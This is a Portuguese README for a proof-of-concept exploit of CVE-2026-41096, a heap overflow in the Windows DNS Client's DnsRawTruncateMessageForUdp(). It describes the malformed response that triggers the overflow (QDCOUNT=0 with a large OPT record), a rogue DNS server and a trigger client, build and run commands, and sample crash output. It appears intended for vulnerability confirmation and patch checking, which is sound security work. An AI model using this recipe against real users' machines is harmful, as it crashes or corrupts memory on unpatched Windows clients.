
Prova de conceito de exploit para CVE-2026-41096: estouro de heap no DnsRawTruncateMessageForUdp() do Cliente DNS do Windows. Inclui servidor DNS malicioso e cliente de acionamento para confirmar a vulnerabilidade.
Estouro de heap em DnsRawTruncateMessageForUdp() (dnsapi.dll). Uma resposta DNS manipulada com QDCOUNT=0 e um registro OPT grande causa um estouro de heap de 604 bytes quando a lógica de truncamento calcula incorretamente o ponteiro de destino.
Aviso MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| Arquivo | Descrição |
|---|
rogue_dns_server.py | Servidor DNS malicioso (Python 3). Responde a cada consulta com uma resposta QDCOUNT=0 + OPT (623 bytes). |
trigger_client.c | Cliente de disparo (C/Win32). Chama DnsQueryRaw apontando para o servidor malicioso. Captura o crash via SetUnhandledExceptionFilter. |
Atacante (servidor malicioso):
Vítima (cliente de disparo):
DnsQueryRaw)dnsapi.dll1. Inicie o servidor malicioso:
sudo python3 rogue_dns_server.py
2. Compile e execute o cliente de disparo:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (Opcional) Ative o Page Heap para um crash determinístico:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| Código | Significado |
|---|---|
| 0 | Sistema está corrigido (DNS_ERROR_BAD_PACKET retornado corretamente) |
| 1 | Erro (DnsQueryRaw não encontrado, problema de rede, etc.) |
| 2 | Crash detectado (estouro de heap confirmado) |
Vulnerável (Page Heap):
[*] Consultando servidor malicioso 192.168.56.1:53 via DnsQueryRaw...
[*] Aguardando resposta...
[!!] CRASH - Exceção 0xC0000005 em 0x00007FFD1A2B4F20
[!!] ESCRITA em 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMADO - estouro de heap acionado.
Vulnerável (sem Page Heap):
[*] Consultando servidor malicioso 192.168.56.1:53 via DnsQueryRaw...
[*] Aguardando resposta...
[!!] CRASH - Exceção 0xC0000374 em 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMADO - estouro de heap acionado.
Corrigido:
[*] Consultando servidor malicioso 192.168.56.1:53 via DnsQueryRaw...
[*] Aguardando resposta...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - sistema está CORRIGIDO.